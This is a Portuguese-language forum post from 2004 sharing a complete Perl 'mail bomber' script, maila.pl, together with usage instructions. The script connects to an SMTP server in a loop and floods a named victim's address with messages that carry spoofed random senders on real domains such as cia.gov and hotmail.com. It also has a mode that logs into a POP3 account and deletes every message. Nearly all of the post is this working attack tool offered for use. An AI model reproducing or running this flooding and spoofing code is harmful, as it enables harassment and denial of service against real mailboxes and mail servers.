Mail bomber
Publicado por Mauricio 06/03/2004
[ Hits: 11.305 ]
Homepage: http://www.mbmaciel.com
Este script é um mail bomber. Leia as instruções no próprio código e use com cuidado !
#!/usr/bin/perl ########################################################### # maila.pl 0.1.5 by guybrush` # ########################################################### # Este script é a cura e a doença ao mesmo tempo. É um # # mail bomber que pode ser executado em um servidor em # # background. Mas é também equipado com um limpador de # # caixa de correio, para neutralizar mailbombings de ou- # # tras pessoas. # ########################################################### # Requisitos: # # ------------------------------------------------------- # # 1. Um computador :) # # 2. Um servidor SMTP que permita enviar emails # # 3. Uma vida # ########################################################### # Uso: # # ------------------------------------------------------- # # ./maila.pl [-c -s servidor -u userid -p password] # # [-m -s servidor -d email -n number] # # -c - Ativa o limpador de pop3 # # -s - endereço do servidor pop3 # # -u - userid da conta # # -p - senha da conta # # -m - Ativa o mail bomber # # -s - servidor de email que permita enviar emails # # -d - endereço de email da vitima # # -n - número de mensagens que vai enviar # ########################################################### # Greets: # # ------------------------------------------------------- # # Thanks to #perl@ircnet, DeMa, raptor, me, myself and I # # Traduzido por: mauricio@vendomicro.com.br # ########################################################### use IO::Socket; use Getopt::Std; getopts("cms:u:p:d:n:"); if ($opt_c && $opt_m) { usage(); } if (!$opt_c && !$opt_m) { usage(); } if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } } if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } } if ($opt_c) { $host = $opt_s; $user = $opt_u; $pass = $opt_p; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"110") || die "Host não encontrado, parou em"; print "Limpando a conta $user\@$host ...\n"; $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("user $user\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("pass $pass\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { print $remote ("list\r\n"); } else { die; } $temp = <$remote>; if ($temp =~ m/OK/) { while (<$remote> !~ /^\./) { $temp = <$remote>; ($cn, $rudo) = split(/ /,$temp); } print "Apagando $cn mensagens...\n"; for ($i = 1;$i <= $cn;$i++) { print $remote ("dele $i\r\n"); if ($temp =~ m/OK/) { next; } } } else { die; } print "Feito!\n"; print $remote "quit\n"; $remote->flush(); close($remote); } if ($opt_m) { $host = $opt_s; $rcpt = $opt_d; $numb = $opt_n; print "Mailbombing $rcpt com $numb mensagens...\n"; for ($i = 1; $i <= $numb; $i++) { $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"25") || die "Host nao encontrado, parou em"; $temp = <$remote>; if ($temp =~ m/220/) { print $remote "helo hackers.com\n"; } else { next; } $temp = <$remote>; $mitt = &mittente; if ($temp =~ m/250/) { print $remote "mail from: $mitt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "rcpt to: $rcpt\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "data\n"; } else { next; } $temp = <$remote>; $messaggio = &messaggio; if ($temp =~ m/354/) { print $remote "$messaggio\n"; } else { next; } $temp = <$remote>; if ($temp =~ m/250/) { print $remote "quit\n"; } else { next; } $remote->flush(); close($remote); } print "Feito!\n"; } sub messaggio { $a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K"; (@alfa) = split(/,/,$a); $messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n"; $messa } sub mittente { $a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0"; (@alfa) = split(/,/,$a); $m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]; @domains = ("microsoft.com","libero.it","tiscalinet.it","katamail.it","tin.it","mail.com","hotmail.com","cia.gov","fbi.gov","nasa.gov","hackers.com","adultcheck.com","ciao.it","trovamore.com","abc.de","cybererotica.com","pmp.it","infinito.it","mp3.com","yahoo.com","ciaoweb.it","galactica.it","namezero.com","flashnet.it","ircd.it","funet.fi","stealth.net","webbernet.net","tvtb.it"); $dominio = @domains[rand($#domains)]; $mittente = "$m\@$dominio"; $mittente } sub usage { print STDERR <<EOF; Uso: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number] -c - Ativa o limpador de pop3 -s - endereço do servidor pop3 -u - userid da conta -p - senha da conta -m - Ativa o mail bomber -s - servidor de email que permita enviar emails -d - endereço de email da vitima -n - número de mensagens que vai enviar Examplos: $0 -c -s pop3.server.com -u foobar -p dunno $0 -m -s mail.server.cz -d foobar\@server.com -n 500 EOF exit; }
Script para encontrar vulnerabilidades no BIND
Testando multiplos servers a ataque DoS
Atenção a quem posta conteúdo de dicas, scripts e tal (2)
Configuração básica do Conky para mostrar informações sobre a sua máquina no Desktop
Aprenda a criar músicas com Inteligência Artificial usando Suno AI
Entendendo o que é URI, URL, URN e conhecendo as diferenças entre POST e GET
Ativando o Modo Noturno via Linha de Comando no GNOME/Wayland
Habilitando a importação de senhas no Firefox
Como corrigir o erro do VirtualBox travar a máquina virtual em tela cheia
Instalando Google Chrome no Ubuntu 24.04 LTS
Quantidade de caracteres suportados na barra de endereços dos navegadores
instalar linux com intel RTS ATIVO (1)
Instalar Chrome no Ubuntu (11)
Clamav e suas atualizações (28)
Erro ao fazer parse GUID string para GUID exadecimal[AJ... (1)